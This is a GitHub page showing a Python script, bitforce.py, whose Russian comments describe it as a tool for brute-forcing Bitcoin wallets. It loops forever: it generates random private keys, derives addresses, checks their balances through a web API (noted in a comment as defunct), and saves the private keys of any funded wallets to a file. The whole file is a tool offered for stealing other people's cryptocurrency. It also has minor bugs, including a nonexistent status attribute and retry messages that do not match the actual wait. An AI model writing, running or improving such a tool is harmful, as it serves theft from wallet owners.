-
Notifications
You must be signed in to change notification settings - Fork 2
/
bitforce.py
101 lines (92 loc) · 3.56 KB
/
bitforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# ВНИМАНИЕ! СОХРАНЯЙ В utf-8
# Данный скрипт для брутфорса биткоин кошельков, испоьзовать на свой страх и риск. Автор не несет отвественность за любые действия которые Вы совершаете с использованием данного софта!
# ПО поставляеться "как есть" и ВСЯ ОТВЕСВТЕННОСТЬ ЗА ЕГО РАБОТУ лежит на конечном потребителе.
# импортируем библиотеки
from bit import Key
import os
import json
import time
import ecdsa
import hashlib
import requests
import binascii
class pau:
pau = 0
def prikey():
return binascii.hexlify(os.urandom(32)).decode('utf-8')
def pubkey(prikey):
prikey = binascii.unhexlify(prikey)
sign = ecdsa.SigningKey.from_string(prikey, curve=ecdsa.SECP256k1)
return '04' + binascii.hexlify(
sign.verifying_key.to_string()).decode('utf-8')
def address(pubkey):
alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
ares = '0'
byte = '00'
zero = 0
val = hashlib.new('ripemd160')
val.update(hashlib.sha256(binascii.unhexlify(pubkey.encode())).digest())
cim = (byte + val.hexdigest())
doublehash = hashlib.sha256(
hashlib.sha256(binascii.unhexlify(cim.encode())).digest()).hexdigest()
address = cim + doublehash[0:8]
for char in address:
if (char != ares):
break
zero += 1
zero = zero // 2
nom = int(address, 16)
result = []
while (nom > 0):
nom, reder = divmod(nom, 58)
result.append(alphabet[reder])
count = 0
while (count < zero):
result.append(alphabet[0])
count += 1
return ''.join(result[::-1])
# Для чека используеться API запрос биржы "http://webbtc.com/address/" .Биржа не воркает, буду искать варики по замене API.
def balance(address):
APIGet = requests.get(
"http://webbtc.com/address/" + str(address) + ".json")
if (APIGet.status_code == 429):
pau.pau += 1
if (pau.pau >= 10):
print("\nUnable to connect to API\nRetrying in 10 seconds\n")
time.sleep(30)
pau.pau = 0
return -1
if (APIGet.status_code != 200 and APIGet.status_code != 404
and APIGet.status != 429):
print("\nHTTP Error Code: " + str(APIGet.status_code) +
"\nRetrying in 10 seconds\n")
time.sleep(10)
return -1
data = APIGet.json()
balance = int(data["balance"])
pau.pau = 0
return balance
def main():
data = [0, 0, 0, 0]
while True:
data[0] = prikey()
data[1] = pubkey(data[0])
data[2] = address(data[1])
data[3] = balance(data[2])
datas = (
"\nAddress: " + str(data[2]) + "\n" + "Private Key: " +
str(data[0]) + "\n" + "Wallet Import Format Private Key: " +
str(Key.from_hex(data[0]).to_wif()) + "\n" + "Public Key: " + str(
data[1]).upper() + "\n" + "Balance: " + str(data[3]) + "\n")
if (data[3] == -1):
continue
if (data[3] == 0):
print("{:34}".format(str(data[2])) + " = " + str(data[3]))
if (data[3] > 0):
print(datas)
fl = open("bitforce-found.txt", "a")
fl.write(datas)
fl.close()
if __name__ == '__main__':
print("\n-----------------Warning Wallet Balance---------------!")
main()